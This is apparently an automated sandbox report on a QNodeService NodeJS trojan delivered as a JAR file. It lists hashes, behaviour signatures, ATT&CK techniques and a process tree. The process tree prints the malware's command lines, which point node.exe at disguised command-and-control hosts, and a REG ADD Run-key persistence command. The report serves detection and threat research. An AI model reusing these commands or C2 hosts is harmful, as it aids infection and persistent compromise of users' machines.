qnodeservice | d598c592d48a490ec96d27cf4617c08908916d716e030eb0a7d79ba61d70d695

General

Target

DOCUMENT.jar
Size

11KB
MD5

5995a60cb5da5d0581926fc154ced6eb
SHA1

2b428a3f8f5c6d47e3cda97b0e62593a23c0a65a
SHA256

d598c592d48a490ec96d27cf4617c08908916d716e030eb0a7d79ba61d70d695
SHA512

6c595dc2183560043ababa811a60a42aa033b3eb414d1e79010e698d4126fe0eb78b879200c6fdcf92aec829de371883802d9078fec90e0bd9cc5d580656b31e

Score

10^/10

persistence trojan qnodeservice

Malware Config

Signatures

Loads dropped DLL 4 IoCs

Processes:

node.exe

pid	Process
1980	node.exe
1980	node.exe
1980	node.exe
1980	node.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

node.exe

pid	Process
1980	node.exe
1980	node.exe

QNodeService
is a trojan written in NodeJS and spread via Java downloader. Utilizes stealer functionality.
trojan qnodeservice

Adds Run entry to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

reg.exe

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000\Software\Microsoft\Windows\CurrentVersion\Run\qnodejs-e0cf7e07 = "cmd /D /C \"C:\\Users\\Admin\\qnodejs-node-v13.13.0-win-x64\\qnodejs\\qnodejs-e0cf7e07.cmd\""	reg.exe

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

node.exe

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	node.exe

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow	ioc
9	wtfismyip.com
10	wtfismyip.com

Suspicious use of WriteProcessMemory 8 IoCs

Processes:

java.exenode.execmd.exe

description	pid	Process	procid_target
PID 3868 wrote to memory of 3476	3868	java.exe	68
PID 3868 wrote to memory of 3476	3868	java.exe	68
PID 3476 wrote to memory of 584	3476	node.exe	69
PID 3476 wrote to memory of 584	3476	node.exe	69
PID 584 wrote to memory of 648	584	cmd.exe	70
PID 584 wrote to memory of 648	584	cmd.exe	70
PID 3476 wrote to memory of 1980	3476	node.exe	71
PID 3476 wrote to memory of 1980	3476	node.exe	71

Executes dropped EXE 2 IoCs

Processes:

node.exenode.exe

pid	Process
3476	node.exe
1980	node.exe

QNodeService NodeJS Trojan 1 IoCs

Processes:

resource	yara_rule
behavioral2/files/0x000100000001bfd3-116.dat	family_qnodeservice

C:\ProgramData\Oracle\Java\javapath\java.exe
java -jar C:\Users\Admin\AppData\Local\Temp\DOCUMENT.jar
1⤵
- Suspicious use of WriteProcessMemory
PID:3868
- C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\node.exe
  C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\node.exe C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\qnodejs\wizard.js start --group user:[email protected] --register-startup --central-base-url https://windowsdefender.theworkpc.com --central-base-url https://qhub.webredirect.org
  2⤵
  - Suspicious use of WriteProcessMemory
  - Executes dropped EXE
  PID:3476
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "qnodejs-e0cf7e07" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\qnodejs\qnodejs-e0cf7e07.cmd\"""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:584
  - - C:\Windows\system32\reg.exe
      REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "qnodejs-e0cf7e07" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\qnodejs\qnodejs-e0cf7e07.cmd\""
      4⤵
      Adds Run entry to start application
      PID:648
- - C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\node.exe
    C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\node.exe C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\qnodejs\qnodejs-win32-x64.js serve start --group user:[email protected] --register-startup --central-base-url https://windowsdefender.theworkpc.com --central-base-url https://qhub.webredirect.org
    3⤵
    - Loads dropped DLL
    - Suspicious behavior: EnumeratesProcesses
    - Checks processor information in registry
    - Executes dropped EXE
    PID:1980

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

1

T1060

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\node.exe

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C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\node.exe

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C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\qnodejs\qnodejs-win32-x64.js

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C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\qnodejs\wizard.js

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\Users\Admin\qnodejs-node-v13.13.0-win-x64\qnodejs\node_modules\ffi-napi\prebuilds\win32-x64\node.napi.node

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\Users\Admin\qnodejs-node-v13.13.0-win-x64\qnodejs\node_modules\native-reg\prebuilds\win32-x64\node.napi.node

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\Users\Admin\qnodejs-node-v13.13.0-win-x64\qnodejs\node_modules\ref-napi\prebuilds\win32-x64\node.napi.node

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\Users\Admin\qnodejs-node-v13.13.0-win-x64\qnodejs\node_modules\sqlite3\lib\binding\node-v79-win32-x64\node_sqlite3.node

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memory/584-117-0x0000000000000000-mapping.dmp

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memory/648-118-0x0000000000000000-mapping.dmp

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memory/1980-119-0x0000000000000000-mapping.dmp

Download
memory/1980-121-0x0000010975640000-0x0000010975641000-memory.dmp

Filesize
4KB

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memory/3476-113-0x0000000000000000-mapping.dmp

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memory/3476-115-0x00000236D9A00000-0x00000236D9A01000-memory.dmp

Filesize
4KB

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Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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